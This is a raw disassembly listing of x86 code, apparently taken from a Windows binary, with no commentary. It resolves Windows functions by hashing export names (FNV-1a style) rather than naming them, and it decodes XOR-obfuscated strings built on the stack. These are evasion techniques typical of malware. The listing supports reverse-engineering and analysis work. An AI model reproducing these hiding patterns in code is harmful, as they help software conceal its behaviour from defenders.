add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c343d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3420
cmp edx, 0x94cc13c2
je 0x4c3446
inc dword [esp + 0x18]
add esi, 4
jmp 0x4c3410
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push dword [0x4d7874]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
xor ecx, ecx
call fcn.004c3fa0
mov edi, dword [0x4d787c]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x58e373c1
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c34bd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c34a0
cmp edx, 0xcbaf632
je 0x4c34c6
inc dword [esp + 0x18]
add esi, 4
jmp 0x4c3490
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push 1
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
add esp, 4
mov edi, dword [0x4d7870]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0xf19975f0
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c353d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3520
cmp edx, 0xd27999c5
je 0x4c3546
inc dword [esp + 0x18]
add esi, 4
jmp 0x4c3510
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0x260]
mov ecx, dword [esp + 0x18]
push eax
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x4d7870]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0xc701b686
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c35bd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c35a0
cmp edx, 0x7980cf70
je 0x4c35c6
inc dword [esp + 0x18]
add esi, 4
jmp 0x4c3590
lea eax, [esp + 0x260]
push eax
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
jmp 0x4c32d0
mov byte [esp + 0x60], 0x12
mov al, 0x74
xor al, byte [esp + 0x60]
mov cl, 0x45
xor cl, byte [esp + 0x60]
mov ch, 0x79
mov byte [esp + 0x61], al
mov dl, 0x20
mov byte [esp + 0x62], cl
mov ah, 0x41
mov cl, byte [esp + 0x60]
mov dh, 0x46
mov byte [esp + 0x14], 0x73
xor ch, cl
mov al, byte [esp + 0x14]
xor dl, cl
xor al, cl
mov byte [esp + 0x15], 0x7c
mov byte [esp + 0x67], al
xor ah, cl
mov al, byte [esp + 0x15]
xor dh, cl
xor al, cl
mov byte [esp + 0x16], 0x5e
mov byte [esp + 0x68], al
mov al, byte [esp + 0x16]
xor al, cl
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x69], al
mov al, byte [esp + 0x17]
xor al, cl
mov byte [esp + 0x65], ch
mov byte [esp + 0x6b], 0
lea ecx, [esp + 0x1fc]
mov byte [esp + 0x63], dl
mov byte [esp + 0x64], ah
mov byte [esp + 0x66], dh
mov byte [esp + 0x6a], al
mov byte [esp + 0x6b], 0
call fcn.004b5360
lea ecx, [esp + 0x61]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c3688
sub ecx, edx
lea eax, [esp + 0x61]
push ecx
push eax
lea ecx, [esp + 0x204]
call fcn.004b4ff0
mov byte [esp + 0x98], 0x53
mov cl, 0x6a
xor cl, byte [esp + 0x98]
mov al, 0x16
xor al, byte [esp + 0x98]
mov ch, 0x21
mov byte [esp + 0x99], al
mov dl, 0x31
mov byte [esp + 0x9a], cl
xor ah, ah
mov cl, byte [esp + 0x98]
mov dh, 0x3a
mov byte [esp + 0x14], 6
xor dl, cl
mov al, byte [esp + 0x14]
xor ch, cl
xor al, cl
mov byte [esp + 0x15], 0x19
xor dh, cl
mov byte [esp + 0x9f], al
mov al, byte [esp + 0x15]
xor ah, cl
xor al, cl
mov byte [esp + 0x9d], ch
lea ecx, [esp + 0x99]
mov byte [esp + 0x9b], dl
mov byte [esp + 0x9e], dh
lea edx, [ecx + 1]
mov byte [esp + 0x9c], ah
mov byte [esp + 0xa0], al
mov byte [esp + 0xa1], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c3734
sub ecx, edx
lea eax, [esp + 0x99]
push ecx
push eax
lea ecx, [esp + 0x204]
call fcn.004b4730
lea ecx, [esp + 0x1fc]
call fcn.004b3e90
mov edi, dword [0x4d786c]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x5935d2d5
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c37ad
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3790
cmp edx, 0x13717d91
je 0x4c37b6
inc dword [esp + 0x18]
add esi, 4
jmp 0x4c3780
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
test eax, eax
jne 0x4c3834
mov edi, dword [0x4d786c]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xb250533e
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c3824
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3807
cmp edx, 0xfe274be1
je 0x4c382d
inc dword [esp + 0x18]
add esi, 4
jmp 0x4c37f7
push 1
jmp 0x4c35ce
push 0
lea ecx, [esp + 0x188]
call fcn.004bea80
push 0x4d4d0c
lea eax, [esp + 0x188]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3